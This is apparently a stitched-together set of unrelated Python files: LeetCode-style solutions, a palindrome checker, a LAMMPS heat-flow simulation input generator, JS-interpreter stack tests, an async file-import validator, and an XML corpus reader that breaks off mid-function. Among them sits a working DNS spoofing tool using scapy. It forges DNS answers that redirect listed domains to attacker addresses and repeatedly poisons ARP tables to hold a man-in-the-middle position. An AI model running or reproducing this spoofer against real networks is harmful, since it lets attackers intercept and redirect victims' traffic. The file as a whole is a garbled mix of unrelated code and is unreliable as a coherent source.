    ax.fill_between(df_stat.bin_val,df_stat.mean_val-df_stat.std_val,df_stat.mean_val+df_stat.std_val,alpha=0.2,color=color,label='_nolegend_')

    # print(df_stat.head())


class Solution:
    def solve(self, board: List[List[str]]) -> None:
        """
        Do not return anything, modify board in-place instead.
        """
        m, n = len(board), len(board[0])
        DIR = [(0,1),(1,0),(-1,0),(0,-1)]
        def dfs(x, y):
            if 0 <= x < m and 0 <= y < n and board[x][y] == "O":
                board[x][y] = "N"
                for dx, dy in DIR:
                    dfs(x+dx, y+dy)

        for dm in range(m):
            dfs(dm,0)
            dfs(dm,n-1)

        for dn in range(1, n-1):
            dfs(0, dn)
            dfs(m-1, dn)

        for i in range(m):
            for j in range(n):
                if board[i][j] == "O":
                    board[i][j] = "X"
                elif board[i][j] == "N":
                    board[i][j] = "O"


# -*- coding:utf-8 -*-

def palindrome2(word):
    reversed_word = word[::-1]

    if reversed_word == word:
        return True

    return False

def palindrome(word):
    reversed_letters = []
    for letter in word:
        reversed_letters.insert(0, letter)

    reversed_word = ''.join(reversed_letters)

    if reversed_word == word:
        return True

    return False

if __name__ == '__main__':
    word = str(input('Escribe una palabra: '))
    # rta = palindrome(word)
    rta = palindrome2(word)

    if rta:
        print('La palabra "{}" es un Palindromo'. format(word))
    else:
        print('La palabra "{}" NO es un Palindromo'. format(word))


import sys
from scapy.all import Ether,conf, get_if_addr,get_if_hwaddr,sendp,sniff,IP,DNS,DNSRR,UDP
import subprocess
import getopt
import time
import signal
import arpUtil
import threading
import json
import os

def checkpacket(packet,listof):
    try:
        for i in range(packet.ancount):
            if (packet[DNSRR][i].type == 1 or packet[DNSRR][i].type == 28) :
                for packNameAddr in  listof['currupt'] :
                    if packet[DNSRR][i].rrname.decode(encoding="ascii") == (packNameAddr["name"] + '.') :
                        return True, packNameAddr["addr"]
    except:
        ...
    return False ,None

def throworkill(packet,routerMac , dnsMac , interface,listof):
    packet[Ether].src = routerMac
    packet[Ether].dst = dnsMac
    valid , addr =  checkpacket(packet, listof)
    if valid  :
        et = Ether(src =routerMac , dst =  dnsMac )
        ip =  IP(src=packet[IP].src,dst=packet[IP].dst)
        udp = UDP(dport=packet[UDP].dport,sport=packet[UDP].sport)
        dnsdiff= DNS(id=packet[DNS].id,qd=packet[DNS].qd,
                     aa=1,
                     qr=1,#respone
                     an=DNSRR(rrname=packet[DNS].qd.qname,type='A',ttl=10,rdata=addr))
        packet = et/ip/udp/dnsdiff
    sendp(packet,iface=interface,verbose=False)

def main()->None:
    '''
    usage: dnsSpoofing.py [-h] <dns ip> <interface>
    optional arguments:
        -h, --help          show this help message and exit
    put all the domains you want to spoof in the file -> corrupt.dns.json
    notes:
        disable ip forwarding : "sudo sysctl -w net.inet.ip.forwarding=0"

    '''
    def dispose(*args):
        print("dispoe")
        arpUtil.changeArpTable(options["router"], options["routerMac"], options["dnsaddr"] , options["dnsmac"],options["interface"] )
        sys.exit(0)

    def redoit():
        while(True):
            arpUtil.changeArpTable(options["router"], options["routerMac"], options["dnsaddr"] , options["mac"],options["interface"] )
            time.sleep(1)

    options = {
        "cur": None ,
        "dnsaddr": None ,
        "dnsmac":None ,
        "targetMac" : None,
        "routerMac" : None,
        "mac ":None , #my mac
        "ip" : None , #my ip
    }

    #### check ####
    if len(sys.argv) != 3 or   "-h" in sys.argv[1:] or "--help" in sys.argv[1:] :
        print(main.__doc__)
        sys.exit(0)
    if "0" not in subprocess.check_output("sudo sysctl -w net.inet.ip.forwarding", shell=True).decode(encoding='ascii'):
        print("disable ip forwarding")
        sys.exit(-1)
    if os.getuid() != 0 :
        print(""" you are not privileged enough - try using 'sudo python3 ...' or 'su root' """)
        sys.exit(-1)
    #### check ####

    #### options ####
    options["dnsaddr"]=sys.argv[1]
    options["interface"]=sys.argv[2]
    options["dnsmac"]=arpUtil.getTargetMac(options["dnsaddr"], options["interface"])
    options["router"] = next(filter(lambda x : x[3] == options["interface"] , dict(conf.route.__dict__)["routes"]))[2]
    options["routerMac"] = arpUtil.getTargetMac(options["router"], options["interface"])
    options["mac"]=get_if_hwaddr(options["interface"])
    options["ip"]= get_if_addr(options["interface"])
    options["cur"]=json.load(open("corrupt.dns.json"))
    #### options ####

    sniff(lfilter= lambda x : IP in x and x[IP].dst == options["dnsaddr"] , prn = lambda packet : throworkill(packet, options["routerMac"], options["dnsmac"],options["interface"],options["cur"]) )

    tr = threading.Thread(target=redoit)
    tr.start()

    signal.signal(signal.SIGINT, dispose)

    tr.join()
    signal.pause()
    dispose()

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-
import numpy as np
from nemd.default import nemd_default_parameters, lj_parameters_rappe

def write_nemd_inputs(atoms,
        datafile='data.lammps',
        index_nemd=None, lthermo=None,
        thot=310, tcold=290,
        time_npt=10., time_increase=None, time_nemd=100.,
        nloop=2,
        output_minimization=True,
        charge=False, pppm=1e-5, thermostat='Nose',
        **kwargs):

    import copy
    parameters = copy.copy(nemd_default_parameters)

    ## modify default values
    for kw in kwargs.keys():
        parameters[kw] = kwargs[kw]
    parameters['time_npt'] = time_npt
    parameters['time_increase'] = time_increase
    parameters['time_nemd'] = time_nemd
    parameters['thot'] = thot
    parameters['tcold'] = tcold
    if output_minimization is None:
        parameters['dump_minimization'] = None

    ## Check parameters
    for kw in parameters.keys():
        if kw is None:
            print(" Error: %s is not defined."%(kw))
            exit()

    ## NPT
    parameters['read_data'] = datafile
    parameters['restart_file'] = 'restart0.nemd'
    parameters['dump_file'] = 'npt.dump'
    write_nemd_input(atoms,
            index_nemd=index_nemd, lthermo=lthermo,
            type='npt', output='nemd0.in',
            parameters=parameters, charge=charge, pppm=pppm,
            thermostat=thermostat)

    ## NEMD
    for ical in range(nloop):
        num = ical + 1
        parameters['read_data'] = parameters['restart_file']
        parameters['restart_file'] = 'restart%d.nemd'%(num)
        parameters['dump_file'] = 'nemd%d.dump'%(num)
        outfile = "nemd%d.in"%(num)
        write_nemd_input(atoms,
                index_nemd=index_nemd, lthermo=lthermo,
                type='nemd', output=outfile,
                parameters=parameters, charge=charge, pppm=pppm,
                thermostat=thermostat)

def write_nemd_input(atoms,
        index_nemd=None, lthermo=None,
        type='npt', output='nemd.in',
        parameters=nemd_default_parameters,
        charge=False,
        pppm=1e-5,
        thermostat=None
        ):
    """ Make LAMMPS scripts for NEMD simulations. Heat flows along z-axis.
    atoms : Atoms object
    index_nemd : dictionary of array of integers
        index_nemd[name][2]
    """
    taverage = (parameters['tcold'] + parameters['thot']) * 0.5

    ## get the list of tags which denote the layer index
    tags_list = list(set(atoms.get_tags()))
    tags_list.sort()

    ## get species correspongind to the tags
    species_corresp_tags = {}
    for tag in tags_list:
        idx = np.where(atoms.get_tags() == tag)[0][0]
        species_corresp_tags[tag] = atoms[idx].symbol

    ## output
    ofs = open(output, 'w')
    ofs.write("clear\n")
    ofs.write("\n")
    ofs.write("# ----- MD parameters -----\n")
    ofs.write("variable tstep   equal %f\n"%(parameters['time_step']))
    ofs.write("variable tdamp   equal %f\n"%(parameters['damping_time']))
    if type == 'npt':
        ofs.write("variable MDTIME  equal %f  # ps\n"%(parameters['time_npt']))
    else:
        ofs.write("variable MDTIME  equal %f  # ps\n"%(parameters['time_nemd']))
    ofs.write("\n")
    ofs.write("variable NRUN      equal ${MDTIME}/${tstep}\n")
    ofs.write("variable THERSTEP  equal ${NRUN}/%d\n"%(
        int(parameters['ntotal_thermo'])))
    ofs.write("variable DUMPSTEP  equal ${NRUN}/%d\n"%(
        int(parameters['ntotal_dump'])))

    ## time for increasing temperature
    if type == 'npt':
        if parameters['time_increase'] is not None:
            ofs.write("variable MDTIME2 equal %f\n"%(
                parameters['time_increase']))
            ofs.write("variable NRUN2     equal ${MDTIME2}/${tstep}\n")
            ofs.write("variable DUMPSTEP2 equal ${NRUN2}/%d\n"%(
                int(parameters['ntotal_dump'])))

    ofs.write("variable TEMP      equal %.2f\n"%(taverage))
    ofs.write("\n")
    ofs.write("variable  kb   equal 1.3806488e-23\n")
    ofs.write("variable  ee   equal 1.60217657e-19\n")
    ofs.write("\n")
    ofs.write("# ----- Initialize simulation -----\n")
    ofs.write("units         metal\n")
    if charge == False:
        ofs.write("atom_style    atomic\n")
    else:
        ofs.write("atom_style    charge\n")
    ofs.write("dimension     3\n")
    ofs.write("boundary      p p p\n")
    ofs.write("atom_modify   map array\n")
    if type == 'npt':
        ofs.write("read_data     %s\n"%(parameters['read_data']))
    elif type == 'nemd':
        ofs.write("read_restart  %s\n"%(parameters['read_data']))
    else:
        print(" Error: %s is not defined."%(type))
        exit()

    ofs.write("timestep      ${tstep}\n")
    ofs.write("\n")

    """ This part should be modified for more complex materials.
    """
    ofs.write("# ----- Define potentials -----\n")
    #nlayers=len(tags_list),
    _write_lj_potential_graphite(ofs,
            species=species_corresp_tags,
            potfile=parameters['potential_file'],
            charge=charge, pppm=pppm
            )

    ofs.write("# ---- Bin ----- \n")
    ofs.write("neighbor      2.0 bin\n")
    ofs.write("neigh_modify  delay 0 every 1 check yes\n")
    ofs.write("\n")

    ofs.write("# ----- Groups -----\n")
    if index_nemd is not None:
        _write_groups_with_id(ofs, index_nemd)
    elif lthermo is not None:
        _write_groups_MP_region(ofs,
                thermo_ratio=lthermo,
                lsystem=atoms.cell[2,2]
                )
    else:
        print(" Error: index_nemd or lthermo must be given.")
        exit()

    ofs.write("# ----- compute -----\n")
    #ofs.write("compute   displace all displace/atom\n")
    #ofs.write("compute   eng      all pe/atom\n")
    #ofs.write("compute   stress   all stress/atom NULL\n")
    #ofs.write("compute   eatoms   all reduce sum c_eng\n")
    #ofs.write("compute   stressz  all reduce sum c_stress[3]\n")
    ofs.write("compute   1        all temp\n")
    ofs.write("compute   ke       all ke/atom\n")
    ofs.write("\n")

    ofs.write("reset_timestep 0\n")
    ofs.write("\n")

    if type == 'npt':
        ofs.write("#----- NPT simulation -----\n")
        ofs.write("\n")

        ofs.write("#--- 1. minimization\n")
        _write_minimization(ofs, atoms)

        ofs.write("#--- 2-1. NPT\n")
        _write_npt_simulation(
                ofs,
                temperature=taverage,
                pressure=parameters['pressure'],
                pdamp=0.05,
                outfile=parameters['dump_file'],
                reset_time=True,
                create_velocity=True,
                drag=2.0
                )
        ofs.write("\n")
        ofs.write("#--- 2-2. NPT\n")
        _write_npt_simulation(
                ofs,
                temperature=taverage,
                pressure=parameters['pressure'],
                pdamp=parameters['pressure_damping'],
                outfile=parameters['dump_file'],
                reset_time=False,
                create_velocity=False,
                drag=0.0
                )
        ofs.write("write_restart  restart_npt.nemd\n")

        if parameters['time_increase'] is not None:
            ofs.write("# --- 3. set temperature gradient\n")
            _write_nemd_simulation(ofs,
                    tinit=taverage,
                    tcold=parameters['tcold'],
                    thot=parameters['thot'],
                    outfile='nemd0.dump',
                    names={'dump':'DUMPSTEP2', 'nrun':'NRUN2'},
                    thermostat=thermostat
                    )

        ofs.write("#--- prepare fore NEMD simulation\n")
        ofs.write("reset_timestep 0\n")

    elif type == 'nemd':
        ofs.write("# ----- NEMD simulation -----\n")
        _write_nemd_simulation(ofs,
                tcold=parameters['tcold'],
                thot=parameters['thot'],
                outfile=parameters['dump_file'],
                thermostat=thermostat
                )

    ##
    ofs.write("write_restart  %s\n"%(parameters['restart_file']))
    ofs.write("\n")
    ofs.write("print \"All done!\"\n")
    ofs.close()
    print(" Output", output)

def _write_lj_potential_graphite(ofs, species=None,
        potfile='opt.tersoff',
        charge=False, pppm=1e-5
        ):
    """ Write LJ potential for graphite
    species : dictionary
        species[tag] : string, element (tag = 1, 2, ...)
    """
    nlayers = len(species)

    if charge:
        lj_line = "lj/cut/coul/long"
    else:
        lj_line = "lj/cut"

    ## define potentials
    ofs.write("pair_style hybrid %s 10.0 "%(lj_line))
    for key in species.keys():
        if species[key] == "C":
            ofs.write("tersoff ")
    ofs.write("\n")

    ## define interlayer potentials
    ofs.write("\n")
    count = 0
    for i in range(nlayers):
        if species[i+1] != 'C':
            continue
        ofs.write("pair_coeff * * tersoff %d %s"%(count+1, potfile))
        for j in range(nlayers):
            if i == j:
                ofs.write(" C")
            else:
                ofs.write(" NULL")
        count += 1
        ofs.write("\n")
    ofs.write("\n")

    ## define intralayer potentials
    for i1 in range(nlayers):
        el1 = species[i1+1]
        for i2 in range(i1, nlayers):
            el2 = species[i2+1]
            if i1 == i2 and el1 == "C":
                continue
            ##
            p1 = _get_lj_parameter_each(el1)
            p2 = _get_lj_parameter_each(el2)
            params = _get_combined_lj_parameter(p1, p2)
            ofs.write("pair_coeff %d %d %s %10.8f %8.5f %5.2f\n"%(
                i1+1, i2+1, lj_line,
                params['epsilon'],
                params['sigma'],
                params['cutoff']
                ))
    ofs.write("\n")

    if charge:
        ofs.write("kspace_style pppm %.2e\n"%(pppm))
        ofs.write("\n")

def _get_lj_parameter_each(element):
    if element == "Fe":
        return lj_parameters_rappe['Fe']
    elif element == "Cl":
        return lj_parameters_rappe['Cl']
    elif element == "C":
        return lj_parameters_rappe['C']
    else:
        print(" Error", element)
        exit()

def _get_combined_lj_parameter(p1, p2):
    params = {}
    key = 'cutoff'
    params[key] = (p1[key] + p2[key]) * 0.5
    key = 'sigma'
    params[key] = (p1[key] + p2[key]) * 0.5
    key = 'epsilon'
    params[key] = np.sqrt(p1[key] * p2[key])
    return params

#
def _write_groups_with_id(ofs, index,
        group_list1=['bottom','hot','middle','cold','top'],
        group_list2=['hot','mid1','cold','mid2'],
        ):
    """
    Parameters
    -------------
    index :
        from index[group_name][0]+1 to index[group_name][1]+1 or
        from index[group_name][ith][0]+1 to index[group_name][ith][1]+1
    """
    for key in index.keys():
        ofs.write('group %8s id '%(key))
        if np.isscalar(index[key][0]):
            ofs.write(' %d:%d'%(index[key][0]+1, index[key][1]+1))
        else:
            for idx_each in index[key]:
                ofs.write(' %d:%d'%(idx_each[0]+1, idx_each[1]+1))
        ofs.write('\n')
    ofs.write("\n")

    flag1 = True
    for group in group_list1:
        if group not in index.keys():
            flag1 = False

    flag2 = True
    for group in group_list2:
        if group not in index.keys():
            flag2 = False

    if flag1 == False and flag2 == False:
        print(" Error in gorup names:", index.keys())
        exit()

    if flag1:
        ofs.write("group const  union bottom top\n")
        ofs.write("group mobile union hot middle cold\n")
        ofs.write("group free   union middle\n")
    else:
        ofs.write("group mobile union mid1 mid2\n")

    ofs.write("\n")

def _write_groups_MP_region(ofs, thermo_ratio=0.1, lsystem=None):

    lthermo = thermo_ratio * lsystem
    lmiddle = (0.5 - thermo_ratio) * lsystem

    ofs.write("region Rm1 block INF INF INF INF INF %f units box\n"%(
        lmiddle))
    ofs.write("region Rh  block INF INF INF INF %f %f units box\n"%(
        lmiddle, lmiddle+lthermo))
    ofs.write("region Rm2 block INF INF INF INF %f %f units box\n"%(
        lmiddle+lthermo, 2*lmiddle+lthermo))
    ofs.write("region Rc  block INF INF INF INF %f INF units box\n"%(
        2*lmiddle+lthermo))
    ofs.write("\n")
    ofs.write("group hot    region Rh\n")
    ofs.write("group cold   region Rc\n")
    ofs.write("group mid1   region Rm1\n")
    ofs.write("group mid2   region Rm2\n")
    ofs.write("group middle union  mid1 mid2\n")
    ofs.write("\n")

def _write_minimization(ofs, atoms, etol=1e-20, ftol=0.0001,
        maxiter=50000, maxeval=50000, outfile='mini.dump'):
    """ Minimization is stoped by force tolerance with the default setting.
    """
    size = np.zeros(3)
    for j in range(3):
        size[j] = np.linalg.norm(atoms.cell[j])
    ##ofs.write("fix       1 all box/relax x %.2f y %.2f z %.2f\n"%(
    ##    size[0]*0.1, size[1]*0.1, size[2]*0.1))
    if outfile is not None:
        ofs.write("dump         id1 all custom 100000 mini.dump id type x y z\n")
        ofs.write("dump_modify  id1 sort id\n")
        ofs.write("dump_modify  id1 format float %13.8f \n")
    ofs.write("thermo    10000\n")
    ofs.write("minimize  %.5e %.5e %d %d\n"%(etol, ftol, maxiter, maxeval))
    ##ofs.write("unfix     1\n")
    if outfile is not None:
        ofs.write("undump    id1\n")
    ofs.write("\n")

def _write_npt_simulation(ofs, outfile=None,
        temperature=300., pressure=1.0, pdamp=0.1, drag=0.0,
        reset_time=True, create_velocity=True):
    """
    parameters
    ---------------
    pdamp : float or list of three values of float
    """
    if reset_time:
        ofs.write("reset_timestep 0\n")
        ofs.write("\n")
    if create_velocity:
        ofs.write("velocity  all create ${TEMP} %d rot yes dist gaussian\n"%(
            np.random.randint(1e7)))
        ofs.write("velocity  all zero linear\n")
        ofs.write("\n")

    ofs.write("fix  2 all npt temp %f %f ${tdamp} "%(
        temperature, temperature))
    if type(pdamp) is float:
        ofs.write("aniso %f %f %f drag %f\n"%(pressure, pressure, pdamp, drag))
    elif len(pdamp) == 3:
        #ofs.write("aniso %f %f %f drag %f\n"%(pressure, pressure, pdamp, drag))
        dds = ['x', 'y', 'z']
        ofs.write("&\n")
        for j in range(3):
            ofs.write("     %s %f %f %f "%(
                dds[j], pressure, pressure, pdamp[j]))
            if j != 2:
                ofs.write("&\n")
        ofs.write("\n")
    else:
        print(" Error in pressure damping", pdamp)
        exit()
    ofs.write("\n")
    ofs.write("variable  temp atom c_ke*${ee}/1.5/${kb}\n")
    ofs.write("fix       tempave all ave/atom 1 ${DUMPSTEP} ${DUMPSTEP} v_temp\n")
    ofs.write("\n")
    ofs.write("thermo_style custom step temp press pxx pyy pzz pe ke etotal ")
    ofs.write("evdwl ecoul epair ebond elong etail vol\n")
    ofs.write("thermo       ${THERSTEP}\n")
    if outfile is not None:
        #ofs.write("dump         id2 all custom ${DUMPSTEP} %s "\
        #        "id type x y z f_tempave\n"%(outfile))
        ofs.write("dump         id2 all custom ${DUMPSTEP} %s "\
                "id type x y z f_tempave\n"%(outfile))
        ofs.write("dump_modify  id2 sort id\n")
        ofs.write("dump_modify  id2 format float %13.8f \n")
    ofs.write("run       ${NRUN}\n")
    ofs.write("unfix     2\n")
    ofs.write("unfix     tempave\n")
    if outfile is not None:
        ofs.write("undump    id2\n")
    ofs.write("\n")

def _write_nemd_simulation(ofs, thot=310, tcold=290, tinit=None, outfile=None,
        names={'dump':'DUMPSTEP', 'nrun':'NRUN'}, thermostat=None):

    ofs.write("compute Thot hot temp\n")
    ofs.write("compute Tcold cold temp\n")
    #ofs.write("fix frozen const setforce 0.0 0.0 0.0\n")
    ofs.write("\n")
    if "nose" in thermostat.lower():
        if tinit is not None:
            ofs.write("fix t1 hot  nvt temp %.2f %.2f ${tdamp}\n"%(tinit, thot))
            ofs.write("fix t2 cold nvt temp %.2f %.2f ${tdamp}\n"%(tinit, tcold))
        else:
            ofs.write("fix t1 hot  nvt temp %.2f %.2f ${tdamp}\n"%(thot, thot))
            ofs.write("fix t2 cold nvt temp %.2f %.2f ${tdamp}\n"%(tcold, tcold))
        ofs.write("fix m1 free nve\n")
    elif 'lan' in thermostat.lower():
        if tinit is not None:
            ofs.write("fix t1 hot  langevin %.2f %.2f ${tdamp} %d tally yes \n"%(
                tinit, thot, np.random.randint(1e7)))
            ofs.write("fix t2 cold langevin %.2f %.2f ${tdamp} %d tally yes \n"%(
                tinit, tcold, np.random.randint(1e7)))
        else:
            ofs.write("fix t1 hot  langevin %.2f %.2f ${tdamp} %d tally yes \n"%(
                thot, thot, np.random.randint(1e7)))
            ofs.write("fix t2 cold langevin %.2f %.2f ${tdamp} %d tally yes \n"%(
                tcold, tcold, np.random.randint(1e7)))
        ##
        #ofs.write("fix m1 mobile nve\n")
        #ofs.write("fix m1 middle nve\n")
        ofs.write("fix a1 all nve\n")

    ofs.write("fix_modify t1 temp Thot\n")
    ofs.write("fix_modify t2 temp Tcold\n")
    ofs.write("\n")
    #ofs.write("fix 2 mobile ave/spatial 1 ${%s} ${%s} v_temp &\n"%(
    #    names['dump'], names['dump']))
    #ofs.write("      file tmp.profile units reduced\n")

    #ofs.write("fix mom all momentum 1 linear 1 1 1\n")
    ofs.write("variable     temp atom c_ke*${ee}/1.5/${kb}\n")
    ofs.write("variable     diff equal f_t2-f_t1\n")
    ofs.write("fix          tempave all ave/atom "\
            "1 ${%s} ${%s} v_temp\n"%(names['dump'], names['dump']))
    #ofs.write("fix          tempave all ave/time "\
    #        "1 ${%s} ${%s} c_1 file temp_ave.txt\n"%(names['dump'], names['dump']))
    ofs.write("\n")
    ofs.write("thermo_style custom step pe etotal temp c_Thot c_Tcold f_t1 f_t2 v_diff\n")
    ofs.write("thermo       ${THERSTEP}\n")
    if outfile is not None:
        #ofs.write("dump         nemd all custom ${DUMPSTEP} %s "\
        #        "id type x y z vx vy vz f_tempave\n"%(outfile))
        ofs.write("dump         nemd all custom ${%s} %s "\
                "id type x y z f_tempave\n"%(names['dump'], outfile))
        ofs.write("dump_modify  nemd sort id\n")
        ofs.write("dump_modify  nemd format float %13.8f \n")

    ofs.write("run          ${%s}\n"%(names['nrun']))
    if outfile is not None:
        ofs.write("undump     nemd\n")
    ofs.write("\n")


class Solution:
    """
    @param source : A string
    @param target: A string
    @return: A string denote the minimum window, return "" if there is no such a string
    """

    def minWindow(self, source, target):
        if not source:
            return ""

        # 提取target字母次数
        target_to_count = self.count_target(target)
        source_to_count = {}
        matched_size = 0
        left = 0
        sub_start, sub_length = 0, float('inf')

        for right in range(len(source)):
            # 不match不记录
            if source[right] not in target_to_count:
                continue

            # match的单词，记录，相等了+1
            source_to_count[source[right]] = source_to_count.get(source[right], 0) + 1
            if source_to_count[source[right]] == target_to_count[source[right]]:
                matched_size += 1

            while left <= right and matched_size == len(target_to_count):
                # match了，开始移动left，先打擂台记录最小的情况
                if right - left + 1 < sub_length:
                    sub_start, sub_length = left, right - left + 1

                # 对应前面不记录不在里面的单词
                if source[left] not in target_to_count:
                    left += 1
                    continue

                # 当有这个单词且目前的size刚好是target里的时候，matchsize -1
                if source_to_count[source[left]] == target_to_count[source[left]]:
                    matched_size -= 1
                source_to_count[source[left]] -= 1
                left += 1

        if sub_length == float('inf'):
            return ""
        return source[sub_start: sub_start + sub_length]

    def count_target(self, target):
        target_to_count = {}
        for char in target:
            target_to_count[char] = target_to_count.get(char, 0) + 1
        return target_to_count


import py

from js import interpreter
from js.jscode import Stack
from js.jsobj import W_IntNumber

jsint = interpreter.Interpreter()
one   = W_IntNumber(1)
two   = W_IntNumber(2)
three = W_IntNumber(3)

def test_stack_push():
    s = Stack(99)
    assert len(s.content) == 99
    assert s.content == [None] * 99

    s = Stack(99)
    s.append(one)
    assert s.content[0] == one
    assert s.pointer == 1

    s = Stack(99)
    s.append(one)
    s.append(two)
    s.append(three)
    assert s.content[0] == one
    assert s.content[1] == two
    assert s.content[2] == three
    assert s.pointer == 3

def test_stack_pop():
    s = Stack(99)
    s.append(one)
    s.append(two)
    s.append(three)
    assert s.pop() == three
    assert s.pointer == 2
    assert s.content[2] == None

    s = Stack(99)
    s.append(one)
    s.append(two)
    s.append(three)
    assert s.pop() == three
    assert s.pop() == two
    assert s.pop() == one

def test_stack_last():
    s = Stack(99)
    s.append(one)
    assert s.top() == one

    s = Stack(99)
    s.append(one)
    s.append(two)
    s.append(three)
    assert s.top() == three

def test_stack_popn():
    s = Stack(99)
    s.append(one)
    s.append(two)
    s.append(three)
    x = s.pop_n(2)
    assert x == [two, three]
    assert s.pointer == 1
    assert s.content[1] == None
    assert s.content[2] == None

def test_stack_max():
    s = Stack(2)
    s.append(one)
    s.append(one)
    py.test.raises(IndexError, s.append,one)


import datetime

class SystemItemImportValidator:
    def __init__(self, data, database_info):
        self.__data = data
        self.__d = {}
        self.__ids = []
        self.__database_info = database_info

    async def __validateSourceFormat(self) -> (bool, dict):
        if type(self.__data) != dict:
            return False, {'code': 400, 'message': 'Incorrect data type. (Remained dict)'}

        if 'items' not in self.__data.keys():
            return False, {'code': 400, 'message': "No key items in data!"}

        if type(self.__data['items']) != list:
            return False, {'code': 400, 'message': 'Incorrect data type. (Remained list)'}

        if 'updateDate' not in self.__data.keys():
            return False, {'code': 400, 'message': "No key updateData in data!"}
        return True, {}

    async def __validateItemJsonStruct(self) -> (bool, dict):
        if type(self.__d) != dict:
            return False, {'code': 400, 'message': "Incorrect data type. (Remained dict)"}
        if "type" in self.__d.keys():
            if not (await self.__validateType())[0]:
                return await self.__validateType()
        else:
            return False, {'code': 400, "message": f"Validation Failed!\nNot all parametrs passed\nElement: {self.__d}"}

        if self.__d['type'] == 'FILE':
            if 'id' not in self.__d.keys() or 'url' not in self.__d.keys() or 'parentId' not in self.__d.keys() or 'size' not in self.__d.keys() or 'type' not in self.__d.keys():
                return False, {'code': 400,
                               'message': f"Validation Failed!\nNot all parameters passed\nElement: {self.__d}"}
        else:
            if 'id' not in self.__d.keys() or 'parentId' not in self.__d.keys():
                return False, {'code': 400,
                               'message': f"Validation Failed!\nNot all parameters passed\nElement: {self.__d}"}
        return True, {}

    async def __validateId(self) -> (bool, dict):
        if self.__d['id'] in self.__ids:
            return False, {'code': 400,
                           'message': f'Validation Failed!\nOne request cannot have two elements with the same id\nElement: {self.__d}'}

        if self.__d['id'] is None or type(self.__d['id']) != str:
            return False, {"code": 400, "message": f"Validation Failed!\nIncorrect ID value for the element {self.__d}"}
        self.__ids.append(self.__d['id'])
        return True, {}

    async def __validateUrl(self) -> (bool, dict):
        if self.__d['type'] == "FOLDER" and self.__d.get('url') is not None:
            return False, {'code': 400,
                           "message": f"Validation Failed!\nUrl field should always be null when importing a folder\nElement: {self.__d}"}

        if self.__d['type'] == "FILE" and len(self.__d.get('url')) > 255:
            return False, {'code': 400,
                           'message': f"Validation Failed!\nThe size of the url field when importing a file must always be less than or equal to 255\nElement: {self.__d}"}
        return True, {}

    async def __validateParentId(self) -> (bool, dict):
        has_father = False
        for element in self.__database_info:
            if element[0] == self.__d['parentId'] and element[2] == 'FILE':
                return False, {"code": 400, "message": f"Validation Failed!\nThe parent can only be a folder (belonging to the parentId field of the folder decision)\nElement: {self.__d}"}
            if element[0] == self.__d['parentId']:
                has_father = True

        if not has_father and self.__d['parentId'] is not None:
            return False,  {'code': 400, 'message': f'Validation Failed!\nObject has no father in struct\nElement: {self.__d}'}
        return True, {}

    async def __validateSize(self) -> (bool, dict):
        if self.__d.get('size') is not None and self.__d['type'] == "FOLDER":
            return False, {'code': 400,
                           'message': f"Validation Failed!\nThe size field must always be null when importing a folder\nElement: {self.__d}"}

        if self.__d['type'] == "FILE" and self.__d.get('size') <= 0:
            return False, {'code': 400,
                           'message': "Validation Failed!\nThe size field for files must always be greater than 0\nElement: {d}"}
        return True, {}

    async def __validateType(self) -> (bool, dict):
        if self.__d['type'] != "FOLDER" and self.__d['type'] != "FILE":
            return False, {'code': 400, 'message': f"Validation Failed!\nIncorrect type value.\nElement: {self.__d}"}
        return True, {}

    async def __validateDate(self) -> (bool, dict):
        try:
            datetime.datetime.fromisoformat(self.__data['updateDate'].replace('Z', '+00:00'))
        except:
            return {"code": 400,
                    "message": f"Validation Failed!\nDate processed according to ISO 8601\nElement: {self.__d}"}
        return True, {}
    async def check(self) -> dict:
        """Public method used to check the correctness of the structure of the transferred data,
         their values and their compatibility with those already in the database
         INPUT: [{id, url, parentId, size, type}]
         OUTPUT: {code, message}
         """
        status, error = await self.__validateSourceFormat()
        if not status:
            return error

        for d in self.__data['items']:
            self.__d = d
            status, error = await self.__validateItemJsonStruct()
            if not status:
                return error

            try:
                tests = [
                    await self.__validateDate(),
                    await self.__validateId(),
                    await self.__validateUrl(),
                    await self.__validateParentId(),
                    await self.__validateSize()
                ]
            except Exception as e:
                tests = []
                print(e, "ERROR")
            # -->  Check if all tests are passed  <-- #
            for test in tests:
                if not test[0]:
                    return test[1]
            # <--  -----------------------------  --> #

            # --> Add to database <-- #
            try:
                is_in_db = False
                for i in range(len(self.__database_info)):
                    if self.__d['id'] == self.__database_info[i][0]:
                        is_in_db = True
                        if self.__d['type'] != self.__database_info[i][2]:
                            return {'code': 400, f'message': 'Not supported operation to change file type!'}
                        self.__database_info[i] = (self.__d['id'], self.__d['parentId'], self.__d['type'])
                if not is_in_db:
                    self.__database_info.append((self.__d['id'], self.__d['parentId'], self.__d['type']))
            except Exception as e:
                print("ERROR", e)
            # <== --------------- <-- #

        return {'code': 200, "message": "OK"}


# Corpus accessor for accessing .xml file. Output of this accessor shall be a more suitable
# representation of the queries. Accessor would access both the training and the test dataset.

# ElementTree library has been used  to parse the XML documents. It is a part of the Python standard library.

# Import the required library
import xml.etree.ElementTree as etree

# Read file
fileName = etree.parse('./GC_Test_Not_Solved_100.xml')

# Find root and its sub elements
root=fileName.getroot()

# Print the name of sub elements and the text associated with each sub-element
childName = [] # Empty list. To be populated with the names of the 'child' element
childText = [] # Empty list. To be populated with text associated with each 'child' element within the 'root' element

# Populate the childName and childText empty lists
for child in root:
    childName.append(child.tag)
    childText.append(child.text)

# Get unique child elements while preserving the order in which they exist in the original list
def getUniqueChildElements(inputList):
    uniqueElements = []
    for listElement in inputList:
        if listElement not in uniqueElements:
            uniqueElements.append(listElement)
    return uniqueElements

# Divide the list containing the text corresponding to sub-elements into multiple list with size of each of those being a multiple of the number of Columns
def getChunks(inputSubElementTextList, nColumn):
    n = max(1,nColumn)
    return[inputSubElementTextList[i:i+nColumn]for i in range(0, len(inputSubElementTextList),nColumn)]

# Get number of sets of child elements by counting the number of occurrences of QueryNo. Input the list containing the names of the child element
def getCountQueries(inputList):
    dictionaryQueryElements = {x:inputList.count(x) for x in inputList}
    listOfValues = list(dictionaryQueryElements.values())
    numberQueries = listOfValues[1]
    return numberQueries

# Two dimensional spreadsheet representation of queries
def getSpreadsheetRepresentation(inputListElementName, inputListElementText):
    numberColumns = len(getUniqueChildElements(inputListElementName))
    numberRows = getCountQueries(inputListElementName)
    # Create an empty two dimensional list
    spreadsheetRepresentationQueries = []
    # Populate the empty list with headers of the spreadsheet
    spreadsheetRepresentationQueries.append(getUniqueChildElements(inputListElementName))
